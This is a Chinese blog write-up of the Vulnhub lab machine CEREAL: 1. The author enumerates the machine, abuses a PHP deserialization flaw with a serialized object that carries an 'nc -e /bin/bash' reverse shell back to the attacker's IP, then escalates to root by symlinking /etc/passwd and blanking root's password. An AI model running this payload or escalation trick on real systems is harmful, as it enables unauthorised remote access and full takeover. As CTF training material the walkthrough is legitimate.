Vulnhub 靶场 CEREAL: 1

前期准备:

靶机地址:https://www.vulnhub.com/entry/cereal-1,703/

kali攻击机ip:192.168.11.129
靶机ip:192.168.11.139

一、信息收集

1.使用nmap对目标靶机进行扫描

image

发现有 21、22、80、3306和44441(http)等端口。

2. 21端口

image

空的,什么也没有。

3. 80端口

image

扫一下目录:

image

/blog

image

发现域名 cereal.ctf,添加上再访问一下:

image

/admin

image

发现是 Wordprass。用 wpscan 也没扫出什么。

4. 44441端口

image

扫一下目录:

image

什么也没扫出来,那扫一下主机试试:

image

发现个子域名 secure.cereal.ctf,在 hosts 文件中添加上,访问一下:

image

发现可以进行 ping,是在后端执行命令,尝试注入了一下,发现不行,查看源码是发现一个 php.js 文件:

image

image

是反序列化,抓包看一下:

image

url 解码一下:

image

尝试在反序列化中尝试写入反弹 shell,把 ping 的地址替换成反弹 shell,试过之后还是不行,nc 连接不上,扫一下目录

image

也没扫出什么,换个大点的字典:

image

用 gobuster 扫的有点慢,就用的 ffuf 扫的,发现个 back_en 目录,查看一下:

image

是个禁止访问目录,扫一下看看有没有 .htaccess 或 .bak 类型的文件,结果发现有个 index.php.bak 页面:

image

查看源码:

image

这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它都会进入 if 块。该块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。PHP 的 shell_exec 函数,这个函数允许在服务器中执行命令。所以在这里写入反弹 shell:

<?php
class pingTest {
     public $ipAddress = "127.0.0.1 & nc -e /bin/bash 192.168.11.129 1234";
     public $isValid = True;
}
echo urlencode(serialize(new pingTest));
?>

php 运行:

image

替换原本的请求数据:

image

并 nc 监听:

image

nc 连接成功,升级一下 shell:

SHELL=bash script -q /dev/null

image

三、提权

查看一下权限和 SUID 文件:

image

没什么好用的,linpeas 和 pspy64 跑一下发现了一个由 root 运行的脚本:

image

image

image

不过并没有权限修改和执行,但是这个脚本可以更改位于用户 rocky 的主目录中的文件 public_html 内容的所有者,当前用户 apache 组,因此它可以访问目录中的文件。然后我有看了一下系统内的其他重要文件,发现 /etc/passwd 的权限比较大:

image

那可以用链接命令 ln,把 /etc/passwd 链接到 /home/rocky/public_html/* 下的一个文件,然后 /etc/passwd 文件就可以用 apach 用户修改:

image

image

现在已经可以修改 /etc/passwd 文件了:

image

/etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证:

image

修改成功后切换成 root 用户:

image

得到 flag。

posted @ 2022-03-14 16:25  sainet  阅读(600)  评论(1编辑  收藏  举报